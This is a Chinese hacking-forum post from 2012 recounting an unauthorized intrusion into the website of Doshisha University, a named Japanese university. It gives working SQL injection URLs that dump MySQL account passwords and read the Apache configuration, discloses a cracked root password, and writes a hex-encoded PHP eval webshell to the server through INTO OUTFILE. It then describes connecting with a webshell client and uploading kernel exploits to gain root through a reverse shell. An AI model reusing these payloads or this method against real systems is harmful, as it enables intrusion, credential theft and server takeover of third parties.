找回密码
 立即注册
查看: 3423|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
入侵日本同志社大学技术分析0 e; f3 [( J4 ?7 J5 `( m; }
) G; y5 O6 \* A, l) L
http://www.doshisha.ac.jp/chs/news/index.php?i=-1
3 Y; f/ M, s: C  d然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:1 s) [9 C9 O% j6 ~
4 G9 P4 }7 f9 c
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
* Q2 i& g$ r/ A1 R5 b, ~- `5 S. _* M9 X$ p* G

- E" y2 n, A2 ^7 x
: n- _. [( d6 Z" h. m* V//@@datadir为数据库文件路径
! H1 q& p3 }4 P
* I5 n& |2 c: i2 O5 q" M9 a5 \7 O, u* R1 X; v' v8 e
//load_file读取网站容器apache的配置文件
! `* [4 ^8 j! { 7 L: ?% V; w/ S1 @, E& k
3 k, C+ l6 O8 x* I
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
8 v' [1 b# _6 x/ D" z复制代码; o0 {$ H7 |+ V' X) c: H& S* d: t# z. x
* p2 T8 X  b% ?* s2 q# z
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。. f9 e* G( e/ @2 }1 n) i

$ L+ G% }& L' e" ]' n而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。2 A; P1 n- P" R0 d2 c
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
" a7 M9 Z" p( [' c* }, s5 ~  B! q$ V7 h" a2 u: }
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
- v. o# V% b7 C+ ~* _- @/ F如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
* M6 i. ~$ F6 t" l8 d5 u; ?- e  R0 {) N; J3 ^" a+ C
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
# `1 R3 g9 z6 K. ?* @% ?虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
1 }8 r/ J& g1 J# Q7 K% D% N直接写一句话:
( H/ N3 D: O) C& ]) L6 G+ ?: ]1 i/ c* t. Y1 N2 j2 Q  W
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#" X- o: t& E" c* `$ I. ~
' ]$ i# p2 G% d
# D) q9 T& `0 Q3 ]
1 `. q. m7 ~/ o6 Z8 t
//最后的#是为了闭合前面的语句
" V- i7 L2 f1 N& d3 j " T+ [& w2 d$ m" m! {" v

; Q6 Z, N! \  j6 @/ q) e/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
. [! d6 E( j) v/ {8 q# J
6 z5 H7 ]4 ~9 u2 A9 l% }. O+ D# C8 N. ^
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ 7 S& U/ A# m8 Y* q* |" v$ \

* F" a! g+ ^3 y) G) K3 }+ ^% ?$ W+ R* M
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 ) O* S, q7 `) s6 M/ {; C7 V
/ V: V% d' P( n4 z

; f7 I3 N1 S4 V& O//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
# F' D3 {' X$ V+ J$ P& G//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
: c0 P0 P& ~0 ~3 K复制代码# K  j. h" H8 }4 e0 z3 m
1 B+ [  _7 i: P# I7 v
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
/ Y/ E+ _4 `" W/ a通过上述注入语句,我们就得到了一句话木马:3 m, S* Z! O# q* ^, x
* M- M& c" C# K

  c. d3 J0 x6 i
. o; g" P. }7 I+ J$ H
, t0 N! z+ X) u8 l* Z- }$ e# E
4 A2 N2 n7 ^$ L6 d9 I9 Xhttp://www.doshisha.ac.jp/english/engnews_img/aa.php ; j. \( A5 \2 K7 \2 X
复制代码% D& C& J  c" f+ Z; {6 K+ @

' [7 u& P/ b# [/ @" A. c3 c用菜刀连接,密码是cmd,如图所示:/ p& g1 K9 e2 C: x. w
然后在命令提示行里看了一下,现在的权限是:
  J$ [; Q. _; Y, z, Q6 J+ w0 n! Y7 D+ N+ ~/ N2 |
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。/ z& C& f) G) x# U) V, X( C
好在赋权给这个文件夹不需要root,直接执行赋权语句:
+ S) E0 j& |4 Q# Y
3 u! f/ f7 x9 h6 E' k+ U4 C 9 J! q: t& U: ]+ ^6 \
) O! z# y4 ]8 {

: y# P- r! A: t8 p5 P2 ~" i# `7 e: t! k" B& q
chmod +x /tmp/ ' D; L( y* g& U* O# q6 s/ S6 [4 [
复制代码
: ~( Y, x% i4 A: [2 F4 Y& c  v0 u; i( L+ T  \4 V
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
  o1 W( O8 e9 Z* Y然后就查了一下内核版本:
) [" ]0 X3 s6 e% W
8 n6 S$ P8 O0 G( t$ ?$ z; B2 l
$ t' V& Q3 ^4 G; }) t
8 T' [( M! K; U% P1 L
; v& f5 `3 q" i
" f* C- ~7 s$ K  O* ]; c% a5 `0 |. g+ ]uname-a
7 D2 X9 m) W& }1 L6 U# n
1 j6 R- U) Z2 i7 {/ ^. t4 a: \# |0 m# l' k8 U+ P
//其实lsb_release -a
8 d/ W6 ~8 J( n5 I复制代码
  ~0 A6 i! k7 @0 v4 y* B! M7 X/ e2 a$ O4 }, r* Z
如图所示:- f& Z% V# V7 y, S" M/ }5 ~
. a- _( `7 @- ~/ e) ?
内核版本:linux mainz1 2.6.28-194.e15
+ k3 X' j0 s& }5 ^" U3 m9 Q系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)' Z: b* J" k- n; T/ x5 {" l
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
, X. b2 a- Y) u' I; P  _$ b7 d0 n$ T4 y* @) e
然后给予执行权限# N+ ]) i5 J& K
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样& }  C/ y1 A% J$ U5 y* S- K
$ t, W5 i; Z$ M& W, F6 g; l

1 y$ }% u6 T, ]( D& K  G" m) }; X5 n" d- J" n6 ?

5 i( k) C/ A+ X) X/ j6 D2 ]/ v+ Q) |% I- F6 w
chmod +x /tmp/2.6.18-194
( Q( A$ z! J  u/ s9 b, _3 Q复制代码 然后直接执行!~
  {4 X5 `1 o4 N7 @' P- f. T$ @- L( ~% T  s$ j6 F
总结:! D- _/ Y- O$ b5 E2 i
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了4 p; C% {& K! a% Q& _( G! Y
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root! l, _7 Q! x: `' d) e9 a$ @/ g
; t' W. r+ m# _. a
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表